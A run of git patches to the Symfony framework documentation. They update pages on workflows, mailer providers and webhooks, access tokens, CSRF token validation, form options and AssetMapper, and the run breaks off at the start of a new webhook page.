+    The :method:`Symfony\\Component\\Workflow\\WorkflowInterface::getEnabledTransitions` method
+    was introduced in Symfony 7.1.
+
 Workflows can also be injected thanks to their name and the
 :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target`
 attribute::

From 0dc5f71cc141f83d1e94543c387e07a14fd9f3a1 Mon Sep 17 00:00:00 2001
From: Jade Xau <98119101+ChibyJade@users.noreply.github.com>
Date: Sat, 9 Dec 2023 12:25:04 +0100
Subject: [PATCH 5491/7107] Apply suggestions from code review

---
 workflow.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index eb824cc4531..3f627d2170f 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -310,13 +310,13 @@ machine type, use ``camelCased workflow name + StateMachine``::
         }
     }
 
-To get all enabled transitions of a Workflow, you can use
-:method:`Symfony\\Component\\Workflow\\WorkflowInterface::getEnabledTransitions`
+To get the enabled transition of a Workflow, you can use
+:method:`Symfony\\Component\\Workflow\\WorkflowInterface::getEnabledTransition`
 method.
 
 .. versionadded:: 7.1
 
-    The :method:`Symfony\\Component\\Workflow\\WorkflowInterface::getEnabledTransitions` method
+    The :method:`Symfony\\Component\\Workflow\\WorkflowInterface::getEnabledTransition` method
     was introduced in Symfony 7.1.
 
 Workflows can also be injected thanks to their name and the

From 0fe3b79a33ee91ea4f9470d282ebe2baf03b8899 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 9 Dec 2023 12:25:45 +0100
Subject: [PATCH 5492/7107] Update workflow.rst

---
 workflow.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 3f627d2170f..99d23cdcfae 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -316,8 +316,8 @@ method.
 
 .. versionadded:: 7.1
 
-    The :method:`Symfony\\Component\\Workflow\\WorkflowInterface::getEnabledTransition` method
-    was introduced in Symfony 7.1.
+    The :method:`Symfony\\Component\\Workflow\\WorkflowInterface::getEnabledTransition`
+    method was introduced in Symfony 7.1.
 
 Workflows can also be injected thanks to their name and the
 :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Target`

From 0c017fd5111e908ea177fc8625d8bacd9cf5ec35 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 8 Dec 2023 15:55:19 +0100
Subject: [PATCH 5493/7107] Add Azure mailer

---
 mailer.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 3da6c120cb2..fe55ed2d858 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -103,6 +103,7 @@ via a third-party provider:
 Service               Install with
 ===================== ==============================================
 `Amazon SES`_         ``composer require symfony/amazon-mailer``
+`Azure`_              ``composer require symfony/azure-mailer``
 `Brevo`_              ``composer require symfony/brevo-mailer``
 `Infobip`_            ``composer require symfony/infobip-mailer``
 `Mailchimp Mandrill`_ ``composer require symfony/mailchimp-mailer``
@@ -115,6 +116,10 @@ Service               Install with
 `SendGrid`_           ``composer require symfony/sendgrid-mailer``
 ===================== ==============================================
 
+.. versionadded:: 7.1
+
+    The Azure integration was introduced in Symfony 7.1.
+
 .. note::
 
     As a convenience, Symfony also provides support for Gmail (``composer
@@ -167,6 +172,8 @@ party provider:
 |                        | - HTTP ses+https://ACCESS_KEY:SECRET_KEY@default    |
 |                        | - API ses+api://ACCESS_KEY:SECRET_KEY@default       |
 +------------------------+-----------------------------------------------------+
+| `Azure`_               | - API azure+api://ACS_RESOURCE_NAME:KEY@default     |
++------------------------+-----------------------------------------------------+
 | `Brevo`_               | - SMTP brevo+smtp://USERNAME:PASSWORD@default       |
 |                        | - HTTP n/a                                          |
 |                        | - API brevo+api://KEY@default                       |
@@ -1815,6 +1822,7 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
    handler.
 
 .. _`Amazon SES`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Amazon/README.md
+.. _`Azure`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Azure/README.md
 .. _`App Password`: https://support.google.com/accounts/answer/185833
 .. _`Brevo`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Brevo/README.md
 .. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout

From 779cf59a6c3bf6af467f6dff735a7a34a770bbeb Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 9 Dec 2023 14:40:06 +0100
Subject: [PATCH 5494/7107] [#19122] Reword

---
 reference/configuration/security.rst |  2 ++
 security/access_token.rst            | 42 +++++++++++++++++++---------
 2 files changed, 31 insertions(+), 13 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 7579c545f58..cb09bddae91 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -1025,6 +1025,8 @@ multiple firewalls, the "context" could actually be shared:
     ignored and you won't be able to authenticate on multiple firewalls at the
     same time.
 
+.. _reference-security-stateless:
+
 stateless
 ~~~~~~~~~
 
diff --git a/security/access_token.rst b/security/access_token.rst
index 85655d8d670..f1de65c6dc5 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -709,24 +709,40 @@ create your own User from the claims, you must
         }
     }
 
-Using Self-Claimed Tokens
+Creating Users from Token
 -------------------------
 
-You may use tokens that are self-claimed, meaning that they contain all
-the information needed to authenticate the user. This happens when a security
-token doesn't need a user provider to get all needed information about the
-user. For instance, a JWT can be self-claimed when it contains a username as
-well as the roles of the user.
-
-When using self-claimed tokens with stateless firewalls, you can omit to
-configure a user provider. The token authenticator will use the token to
-create a user object with the claims of the token. This means that you can
-skip creating your own user provider.
-
 .. versionadded:: 6.3
 
     The possibility to omit the user provider in case of stateless firewalls
-    and self-claimed tokens was introduced in Symfony 6.3.
+    was introduced in Symfony 6.3.
+
+Some types of tokens (for instance OIDC) contain all information required
+to create a user entity (e.g. username and roles). In this case, you don't
+need a user provider to create a user from the database::
+
+    // src/Security/AccessTokenHandler.php
+    namespace App\Security;
+
+    // ...
+    class AccessTokenHandler implements AccessTokenHandlerInterface
+    {
+        // ...
+
+        public function getUserBadgeFrom(string $accessToken): UserBadge
+        {
+            // get the data from the token
+            $payload = ...;
+
+            return new UserBadge(
+                $payload->getUserId(),
+                fn (string $userIdentifier) => new User($userIdentifier, $payload->getRoles())
+            );
+        }
+    }
+
+When using this strategy, you can omit the ``user_provider`` configuration
+for :ref:`stateless firewalls <reference-security-stateless>`.
 
 .. _`JSON Web Tokens (JWT)`: https://datatracker.ietf.org/doc/html/rfc7519
 .. _`SAML2 (XML structures)`: https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html

From 5ac1a00c062bacf041a64004bee2f2b2ee2a3142 Mon Sep 17 00:00:00 2001
From: SebLevDev <sebastien@leveque.eu>
Date: Sat, 9 Dec 2023 14:34:50 +0100
Subject: [PATCH 5495/7107] [Form] Document using TranslatableMessage in form
 Fields

---
 reference/forms/types/options/button_label.rst.inc | 2 +-
 reference/forms/types/options/placeholder.rst.inc  | 5 ++++-
 2 files changed, 5 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/options/button_label.rst.inc b/reference/forms/types/options/button_label.rst.inc
index 623e8bf6200..c63d48b032c 100644
--- a/reference/forms/types/options/button_label.rst.inc
+++ b/reference/forms/types/options/button_label.rst.inc
@@ -1,7 +1,7 @@
 ``label``
 ~~~~~~~~~
 
-**type**: ``string`` **default**: The label is "guessed" from the field name
+**type**: ``string`` or ``TranslatableMessage`` **default**: The label is "guessed" from the field name
 
 Sets the label that will be displayed on the button. The label can also
 be directly set inside the template:
diff --git a/reference/forms/types/options/placeholder.rst.inc b/reference/forms/types/options/placeholder.rst.inc
index 5920cefbb52..e36b4bce546 100644
--- a/reference/forms/types/options/placeholder.rst.inc
+++ b/reference/forms/types/options/placeholder.rst.inc
@@ -1,7 +1,7 @@
 ``placeholder``
 ~~~~~~~~~~~~~~~
 
-**type**: ``string`` or ``boolean``
+**type**: ``string`` or ``TranslatableMessage`` or ``boolean``
 
 This option determines whether or not a special "empty" option (e.g. "Choose
 an option") will appear at the top of a select widget. This option only
@@ -14,6 +14,9 @@ applies if the ``multiple`` option is set to false.
 
     $builder->add('states', ChoiceType::class, [
         'placeholder' => 'Choose an option',
+
+        // or if you want to translate the text
+        'placeholder' => new TranslatableMessage('form.placeholder.select_option', [], 'form'),
     ]);
 
 * Guarantee that no "empty" value option is displayed::

From 25d8a080b1d3c5a5b1b9ccc24bc2367638742600 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@symfonycasts.com>
Date: Sat, 9 Dec 2023 11:34:30 -0500
Subject: [PATCH 5496/7107] Add "frontend" as one of the topic to getting
 started

---
 page_creation.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/page_creation.rst b/page_creation.rst
index fa280ea600b..557da9f85ad 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -282,6 +282,7 @@ OK, time to finish mastering the fundamentals by reading these articles:
 * :doc:`/controller`
 * :doc:`/templates`
 * :doc:`/configuration`
+* :doc:`/frontend`
 
 Then, learn about other important topics like the
 :doc:`service container </service_container>`,

From 566fdd0d6ea379e84d2b9c5db26a10ffa4716630 Mon Sep 17 00:00:00 2001
From: Yassine Guedidi <yassine@guedidi.com>
Date: Sat, 9 Dec 2023 19:30:11 +0100
Subject: [PATCH 5497/7107] IsCsrfTokenValid documentation

---
 security/csrf.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/security/csrf.rst b/security/csrf.rst
index be7bb909f61..2e2197f1547 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -164,6 +164,26 @@ method to check its validity::
         }
     }
 
+Alternatively you can use the
+:class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid`
+attribute on the controller action::
+
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
+    // ...
+
+    #[IsCsrfTokenValid('delete-item', tokenKey: 'token')]
+    public function delete(Request $request): Response
+    {
+        // ... do something, like deleting an object
+    }
+
+.. versionadded:: 7.1
+
+    The :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid`
+    attribute was introduced in Symfony 7.1.
+
 CSRF Tokens and Compression Side-Channel Attacks
 ------------------------------------------------
 

From e273ed145ac7a90f04fef994be516df2fb80a598 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@symfonycasts.com>
Date: Sat, 9 Dec 2023 13:31:04 -0500
Subject: [PATCH 5498/7107] [AssetMapper] Adding note about importmap block

---
 frontend/asset_mapper.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 70db9265226..42179fae32d 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1035,7 +1035,11 @@ both ``app`` and ``checkout``:
 .. code-block:: twig
 
     {# templates/products/checkout.html.twig #}
-    {% block javascripts %}
+    {#
+        Override an "importmap" block in base.html.twig.
+        If you don't have this, add it around the {{ importmap('app') }} call.
+    #}
+    {% block importmap %}
         {# do NOT call parent() #}
 
         {{ importmap('app', 'checkout') }}
@@ -1044,7 +1048,7 @@ both ``app`` and ``checkout``:
 By passing both ``app`` and ``checkout``, the ``importmap()`` function will
 output the ``importmap`` and also add a ``<script type="module">`` tag that
 loads the ``app.js`` file *and* the ``checkout.js`` file. It's important
-to *not* call ``parent()`` in the ``javascripts`` block. Each page can only
+to *not* call ``parent()`` in the ``importmap`` block. Each page can only
 have *one* importmap, so ``importmap()`` must be called exactly once.
 
 If, for some reason, you want to execute *only* ``checkout.js``

From 47caec8a448b0ab696d419959bd7ca929ccbe60b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 9 Dec 2023 19:37:43 +0100
Subject: [PATCH 5499/7107] Remove obsolete versionadded directive

---
 security/access_token.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index 37942e950c4..29fbfbc8bb6 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -700,11 +700,6 @@ create your own User from the claims, you must
 Creating Users from Token
 -------------------------
 
-.. versionadded:: 6.3
-
-    The possibility to omit the user provider in case of stateless firewalls
-    was introduced in Symfony 6.3.
-
 Some types of tokens (for instance OIDC) contain all information required
 to create a user entity (e.g. username and roles). In this case, you don't
 need a user provider to create a user from the database::

From 7b47bdc409d47c082a7a0c7c5d9713ba9606d9b1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 9 Dec 2023 19:42:52 +0100
Subject: [PATCH 5500/7107] Add `#[IsCsrfTokenValid]` to attributes reference

---
 reference/attributes.rst | 1 +
 security/csrf.rst        | 2 ++
 2 files changed, 3 insertions(+)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index cf21c5a7c45..f61c78b9a3a 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -80,6 +80,7 @@ Security
 ~~~~~~~~
 
 * :ref:`CurrentUser <security-json-login>`
+* :ref:`IsCsrfTokenValid <csrf-controller-attributes>`
 * :ref:`IsGranted <security-securing-controller-attributes>`
 
 Serializer
diff --git a/security/csrf.rst b/security/csrf.rst
index 2e2197f1547..0352d7e6f87 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -164,6 +164,8 @@ method to check its validity::
         }
     }
 
+.. _csrf-controller-attributes:
+
 Alternatively you can use the
 :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid`
 attribute on the controller action::

From 2e45f6af526da40d228dafe40bf31e57e262da76 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 10 Dec 2023 09:54:31 +0100
Subject: [PATCH 5501/7107] [Form] Add `keep_as_list` option

---
 reference/forms/types/collection.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index d1e1f0fb00b..2d91bfd06bd 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -229,6 +229,27 @@ you'd use the :doc:`EmailType </reference/forms/types/email>`. If you want
 to embed a collection of some other form, pass the form type class as this
 option (e.g. ``MyFormType::class``).
 
+keep_as_list
+~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+When set to ``true``, the ``keep_as_list`` option affects the reindexing
+of nested form names within a collection. This feature is particularly useful
+when working with collection types and removing items from the collection
+during form submission.
+
+When this option is set to ``false``, if you have a collection of 3 items and
+you remove the second item, the indexes will be ``0`` and ``2`` when validating
+the collection. However, by enabling the ``keep_as_list`` option and setting
+it to ``true``, the indexes will be reindexed as ``0`` and ``1``. This ensures
+that the indexes remain consecutive and do not have gaps, providing a clearer
+and more predictable structure for your nested forms.
+
+.. versionadded:: 7.1
+
+    The ``keep_as_list`` option was introduced in Symfony 7.1.
+
 prototype
 ~~~~~~~~~
 

From 0ba505841601d4a3a4631e27d62924b3cce67a0c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 11 Dec 2023 10:42:45 +0100
Subject: [PATCH 5502/7107] Rename Service name

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index ba55d4964de..a69d3226ef5 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -112,7 +112,7 @@ via a third-party provider:
 Service               Install with
 ===================== ==============================================
 `Amazon SES`_         ``composer require symfony/amazon-mailer``
-`Mailchimp Mandrill`_ ``composer require symfony/mailchimp-mailer``
+`Mailchimp`_          ``composer require symfony/mailchimp-mailer``
 `Mailgun`_            ``composer require symfony/mailgun-mailer``
 `Mailjet`_            ``composer require symfony/mailjet-mailer``
 `OhMySMTP`_           ``composer require symfony/oh-my-smtp-mailer``
@@ -1614,7 +1614,7 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`Inky`: https://get.foundation/emails/docs/inky.html
 .. _`league/html-to-markdown`: https://github.com/thephpleague/html-to-markdown
 .. _`load balancing`: https://en.wikipedia.org/wiki/Load_balancing_(computing)
-.. _`Mailchimp Mandrill`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailchimp/README.md
+.. _`Mandrill`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailchimp/README.md
 .. _`Mailgun`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailgun/README.md
 .. _`Mailjet`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Mailjet/README.md
 .. _`Markdown syntax`: https://commonmark.org/

From d94f9cc9182ca743dde081e3e67e695e46c3e7e2 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 11 Dec 2023 10:44:02 +0100
Subject: [PATCH 5503/7107] -

---
 mailer.rst | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index b2074a512ce..85188838e9f 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -103,12 +103,8 @@ via a third-party provider:
 Service               Install with
 ===================== ==============================================
 `Amazon SES`_         ``composer require symfony/amazon-mailer``
-<<<<<<< HEAD
 `Infobip`_            ``composer require symfony/infobip-mailer``
-`Mailchimp Mandrill`_ ``composer require symfony/mailchimp-mailer``
-=======
-`Mailchimp`_          ``composer require symfony/mailchimp-mailer``
->>>>>>> 5.4
+`Mandrill`_           ``composer require symfony/mailchimp-mailer``
 `Mailgun`_            ``composer require symfony/mailgun-mailer``
 `Mailjet`_            ``composer require symfony/mailjet-mailer``
 `MailPace`_           ``composer require symfony/mail-pace-mailer``

From f31970b94b856cb8dfcfae8730fdb2eebab67071 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 11 Dec 2023 10:44:34 +0100
Subject: [PATCH 5504/7107] -

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index a69d3226ef5..cd6e367ac5d 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -112,7 +112,7 @@ via a third-party provider:
 Service               Install with
 ===================== ==============================================
 `Amazon SES`_         ``composer require symfony/amazon-mailer``
-`Mailchimp`_          ``composer require symfony/mailchimp-mailer``
+`Mandrill`_           ``composer require symfony/mailchimp-mailer``
 `Mailgun`_            ``composer require symfony/mailgun-mailer``
 `Mailjet`_            ``composer require symfony/mailjet-mailer``
 `OhMySMTP`_           ``composer require symfony/oh-my-smtp-mailer``

From b8f85a53da0ad46e1ea62deb582cd4dc981082f2 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 11 Dec 2023 10:46:02 +0100
Subject: [PATCH 5505/7107] Fix table length

---
 mailer.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 3896ba7f731..d6d91e32723 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -99,9 +99,9 @@ Using a 3rd Party Transport
 Instead of using your own SMTP server or sendmail binary, you can send emails
 via a third-party provider:
 
-===================== ==============================================
+===================== ===============================================
 Service               Install with
-===================== ==============================================
+===================== ===============================================
 `Amazon SES`_         ``composer require symfony/amazon-mailer``
 `Infobip`_            ``composer require symfony/infobip-mailer``
 `Mailgun`_            ``composer require symfony/mailgun-mailer``
@@ -112,7 +112,7 @@ Service               Install with
 `Postmark`_           ``composer require symfony/postmark-mailer``
 `SendGrid`_           ``composer require symfony/sendgrid-mailer``
 `Sendinblue`_         ``composer require symfony/sendinblue-mailer``
-===================== ==============================================
+===================== ===============================================
 
 .. versionadded:: 6.2
 

From 2c88dc8c3162ad4e96bf6d309f19ed27eb13689e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?= <schaedlich.jan@gmail.com>
Date: Sat, 25 Nov 2023 10:45:09 +0100
Subject: [PATCH 5506/7107] Improve `debug:serializer` command documentation by
 adding `serializedPath`

---
 serializer.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index ef155a1a45d..9731e9b869e 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -511,20 +511,22 @@ given class:
         |          |   "groups" => [                                            |
         |          |       "book:read",                                         |
         |          |       "book:write",                                        |
-        |          |   ]                                                        |
+        |          |   ],                                                       |
         |          |   "maxDepth" => 1,                                         |
-        |          |   "serializedName" => "book_name"                          |
-        |          |   "ignore" => false                                        |
+        |          |   "serializedName" => "book_name",                         |
+        |          |   "serializedPath" => null,                                |
+        |          |   "ignore" => false,                                       |
         |          |   "normalizationContexts" => [],                           |
         |          |   "denormalizationContexts" => []                          |
         |          | ]                                                          |
         | isbn     | [                                                          |
         |          |   "groups" => [                                            |
         |          |       "book:read",                                         |
-        |          |   ]                                                        |
+        |          |   ],                                                       |
         |          |   "maxDepth" => null,                                      |
-        |          |   "serializedName" => null                                 |
-        |          |   "ignore" => false                                        |
+        |          |   "serializedName" => null,                                |
+        |          |   "serializedPath" => [data][isbn],                        |
+        |          |   "ignore" => false,                                       |
         |          |   "normalizationContexts" => [],                           |
         |          |   "denormalizationContexts" => []                          |
         |          | ]                                                          |

From 177bb039f25256a51d8fb4123af4f09f7ff7f445 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 12 Dec 2023 10:11:02 +0100
Subject: [PATCH 5507/7107] Minor tweak

---
 page_creation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/page_creation.rst b/page_creation.rst
index 557da9f85ad..0bba49938f5 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -281,8 +281,8 @@ OK, time to finish mastering the fundamentals by reading these articles:
 * :doc:`/routing`
 * :doc:`/controller`
 * :doc:`/templates`
-* :doc:`/configuration`
 * :doc:`/frontend`
+* :doc:`/configuration`
 
 Then, learn about other important topics like the
 :doc:`service container </service_container>`,

From a28c1ee3f42631f6ecd1175d5f36d3ed55fa0db3 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 12 Dec 2023 11:11:04 +0100
Subject: [PATCH 5508/7107] minor

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index cd6e367ac5d..3cdd0b207f3 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -179,7 +179,7 @@ Provider              SMTP                                                 HTTP
 ===================== ==================================================== =========================================== ========================================
 `Amazon SES`_         ses+smtp://USERNAME:PASSWORD@default                 ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
 `Google Gmail`_       gmail+smtp://USERNAME:APP-PASSWORD@default           n/a                                         n/a
-`Mailchimp Mandrill`_ mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
+`Mandrill`_           mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
 `Mailgun`_            mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
 `Mailjet`_            mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
 `Postmark`_           postmark+smtp://ID@default                           n/a                                         postmark+api://KEY@default
@@ -1403,8 +1403,8 @@ If your transport does not support tags and metadata, they will be added as cust
 
 The following transports currently support tags and metadata:
 
-* Mailchimp
 * Mailgun
+* Mandrill
 * Postmark
 * Sendgrid
 * Sendinblue

From d8c2c3be50f79870a77f38e660808c55f1a3d18d Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 11 Dec 2023 11:09:12 +0100
Subject: [PATCH 5509/7107] [Mailer] Mention webhook support in Mailer bridge
 overview

---
 mailer.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index d6d91e32723..7102ba27f9c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -99,20 +99,20 @@ Using a 3rd Party Transport
 Instead of using your own SMTP server or sendmail binary, you can send emails
 via a third-party provider:
 
-===================== ===============================================
-Service               Install with
-===================== ===============================================
+===================== =============================================== ===============
+Service               Install with                                    Webhook support
+===================== =============================================== ===============
 `Amazon SES`_         ``composer require symfony/amazon-mailer``
 `Infobip`_            ``composer require symfony/infobip-mailer``
-`Mailgun`_            ``composer require symfony/mailgun-mailer``
+`Mailgun`_            ``composer require symfony/mailgun-mailer``     yes
 `Mailjet`_            ``composer require symfony/mailjet-mailer``
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
 `MailerSend`_         ``composer require symfony/mailer-send-mailer``
 `Mandrill`_           ``composer require symfony/mailchimp-mailer``
-`Postmark`_           ``composer require symfony/postmark-mailer``
+`Postmark`_           ``composer require symfony/postmark-mailer``    yes
 `SendGrid`_           ``composer require symfony/sendgrid-mailer``
 `Sendinblue`_         ``composer require symfony/sendinblue-mailer``
-===================== ===============================================
+===================== =============================================== ===============
 
 .. versionadded:: 6.2
 

From a2e1f5547c8cd797f9a7a0fe3636abbdbb5ad35d Mon Sep 17 00:00:00 2001
From: Fabrice Gares <fabrice.gares@timberlee.fr>
Date: Mon, 11 Dec 2023 00:43:31 +0100
Subject: [PATCH 5510/7107] Update security.rst

---
 security.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/security.rst b/security.rst
index d38c9cf731d..c62104497c6 100644
--- a/security.rst
+++ b/security.rst
@@ -1601,6 +1601,7 @@ and set the ``limiter`` option to its service ID:
                     $globalFactory: '@limiter.ip_login'
                     # localFactory is the limiter for username+IP
                     $localFactory: '@limiter.username_ip_login'
+                    $secret: '%kernel.secret%'
 
         security:
             firewalls:
@@ -1651,6 +1652,8 @@ and set the ``limiter`` option to its service ID:
                     <srv:argument type="service" id="limiter.ip_login"/>
                     <!-- 2nd argument is the limiter for username+IP -->
                     <srv:argument type="service" id="limiter.username_ip_login"/>
+                    <!-- 3rd argument is the app secret -->
+                    <srv:argument type="service" id="%kernel.secret%"/>
                 </srv:service>
             </srv:services>
 
@@ -1693,6 +1696,8 @@ and set the ``limiter`` option to its service ID:
                     new Reference('limiter.ip_login'),
                     // 2nd argument is the limiter for username+IP
                     new Reference('limiter.username_ip_login'),
+                    // 3rd argument is the app secret
+                    new Reference('kernel.secret'),
                 ]);
 
             $security->firewall('main')

From a632c9b032db8fc5632f5fb3f82a958793d7827b Mon Sep 17 00:00:00 2001
From: Timo Bakx <github@timobakx.dev>
Date: Sat, 9 Dec 2023 15:31:52 +0100
Subject: [PATCH 5511/7107] [Webhook] Added component documentation for use in
 combination with Mailer

---
 index.rst                             |   1 +
 mailer.rst                            |   8 ++
 reference/attributes.rst              |   5 +
 reference/configuration/framework.rst |  10 ++
 webhook.rst                           | 132 ++++++++++++++++++++++++++
 5 files changed, 156 insertions(+)
 create mode 100644 webhook.rst

diff --git a/index.rst b/index.rst
index 9cec808e1a7..86893b84ac4 100644
--- a/index.rst
+++ b/index.rst
@@ -58,6 +58,7 @@ Topics
     translation
     validation
     web_link
+    webhook
     workflow
 
 Components
diff --git a/mailer.rst b/mailer.rst
index cb9dffbb41d..8354400ac5c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -93,6 +93,8 @@ native        ``native://default``                      Mailer uses the sendmail
     It's highly recommended to NOT use ``native://default`` as you cannot control
     how sendmail is configured (prefer using ``sendmail://default`` if possible).
 
+.. _mailer_3rd_party_transport:
+
 Using a 3rd Party Transport
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -277,6 +279,12 @@ party provider:
         # .env
         MAILER_DSN=smtp://KEY:DOMAIN@smtp.eu.mailgun.org.com:25
 
+.. tip::
+
+    Some third party mailers, when using the API, support status callback
+    via webhooks. See the :doc:`Webhook documentation </webhook>` for more
+    details.
+
 High Availability
 ~~~~~~~~~~~~~~~~~
 
diff --git a/reference/attributes.rst b/reference/attributes.rst
index d55baa17f24..5707507dce0 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -69,6 +69,11 @@ Messenger
 
 * :ref:`AsMessageHandler <messenger-handler>`
 
+RemoteEvent
+~~~~~~~~~~~
+
+* :ref:`AsRemoteEventConsumer <webhook>`
+
 Routing
 ~~~~~~~
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index e4931a77c7c..01ba5069288 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3625,6 +3625,16 @@ enabled
 
 Adds a `Link HTTP header`_ to the response.
 
+webhook
+~~~~~~~
+
+.. versionadded:: 6.3
+
+    The Webhook configuration was introduced in Symfony 6.3.
+
+The ``webhook`` option (and its children) are used to configure the webhooks
+defined in your application. Read more about the options in the :ref:`Webhook documentation <webhook>`.
+
 workflows
 ~~~~~~~~~
 
diff --git a/webhook.rst b/webhook.rst
new file mode 100644
